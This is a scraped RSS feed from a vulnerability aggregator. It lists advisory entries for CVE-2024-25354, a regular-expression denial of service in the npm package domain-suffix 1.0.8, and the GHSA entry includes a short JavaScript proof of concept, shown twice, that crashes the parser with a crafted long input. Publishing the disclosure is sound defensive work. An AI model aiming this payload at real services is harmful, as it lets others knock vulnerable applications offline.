https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Mon, 05 Oct 2026 10:28:50 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-222868 EUVD-2026-222868 https://cve.radiocsirt.org/vuln/euvd-2026-222868 https://cve.radiocsirt.org/vuln/fkie_cve-2024-25354 <p>RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.</p> <p>RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2024-25354 https://cve.radiocsirt.org/vuln/ghsa-cqfh-c4c5-c2hg <p><strong>Affected:</strong> npm: domain-suffix</p> <p>RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.</p> <p>## PoC ```js async function exploit() { const domainsuffix = require(\&#34;domain-suffix\&#34;); // Crafting a string that will cause excessive backtracking const maliciousInput = \&#34;a.\&#34;.repeat(10000) + \&#34;b\&#34;; // This will create a long sequence of \&#34;a.\&#34; followed by \&#34;b\&#34; const result = await domainsuffix.domainSuffix.parse(maliciousInput); } await exploit(); ```</p> <p><strong>Affected:</strong> npm: domain-suffix</p> <p>RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.</p> <p>## PoC ```js async function exploit() { const domainsuffix = require(\&#34;domain-suffix\&#34;); // Crafting a string that will cause excessive backtracking const maliciousInput = \&#34;a.\&#34;.repeat(10000) + \&#34;b\&#34;; // This will create a long sequence of \&#34;a.\&#34; followed by \&#34;b\&#34; const result = await domainsuffix.domainSuffix.parse(maliciousInput); } await exploit(); ```</p> https://cve.radiocsirt.org/vuln/ghsa-cqfh-c4c5-c2hg https://cve.radiocsirt.org/vuln/gsd-2024-25354 gsd-2024-25354 https://cve.radiocsirt.org/vuln/gsd-2024-25354